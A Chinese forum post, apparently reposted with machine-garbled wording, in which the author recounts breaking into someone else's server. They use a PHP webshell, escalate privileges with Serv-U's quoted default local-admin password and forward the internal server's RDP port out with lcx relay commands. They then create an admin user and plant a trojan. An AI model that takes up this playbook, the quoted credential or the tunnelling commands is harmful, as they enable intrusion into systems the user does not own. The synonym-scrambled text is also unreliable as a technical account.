百科教程网

黑基论坛:搞了个php的webshell、然后就想提权试试...这次侵略没有技巧可言..就卖双习好了......办事器是NT的装了apache、好像这个51shell加密后的phpspy也有权限了到它系统目录下面找到了my.ini.装了MYSQL的.然后用户是root密码是空.然后用php马的实行SQL功能衔接它数库试

黑基论坛:
搞了个php的webshell、然后就想提权试试...

这次侵略没有技巧可言..就卖双习好了......

办事器是NT的装了apache、好像这个51shell加密后的phpspy也有权限了

到它系统目录下面找到了my.ini.装了MYSQL的.然后用户是root密码是空.

然后用php马的实行SQL功能衔接它数库试试、成果失败了.

然后用这个php马自带的扫描东西扫描了壹下.发下3306没开但是..

开了21.和43958.ftp上去发觉是低版本的...然后..

这个phpspy已经有ServU EXP了....卖然不消我上传ftp.exe了..

提权就不消说了...就是应用ServU的卖地用户localadministrator和

它的默认密码lak.lk;0P然后就有administrator权限了....

直接树立了用户230 login in.胜利了..但是3389连不上....

webshell里面ipconfig才发觉它是内网办事器.......笨得我...............

然后呢..卖然是lcx年老的lcx.exe了........哈哈.......端口重定向............

上传上去lcx slave 我的IP 监听的端口 肉鸡IP 3389

这个命令就是把肉鸡的3389端口定向到我监听的端口..



然后本机lcx listen 51 2105.......监听51端口..转到本级的2105端口.......



然后就用远程桌面衔接连上去咯.........



接下来就是修补破绽了...卖然是用UE改servu的卖地默认密码了...

用webshell上传失败....东西2MB...然后用肉鸡上天空下载3kb/s

无奈了.....然后tftp又是毛病Timeout occurred

最后还是卖地用20cn的ftp办事器...给肉鸡下载......

完了...就用UE..打开Servudaemon.exe..找lak.lk;0P给它改了..

忧郁的是..改了不克笼盖失..可能..webshell里面的SERVU EXP还在挪用它..

然后就挂马咯........日志就不清理了..因为清理不失我登岸的那个事件...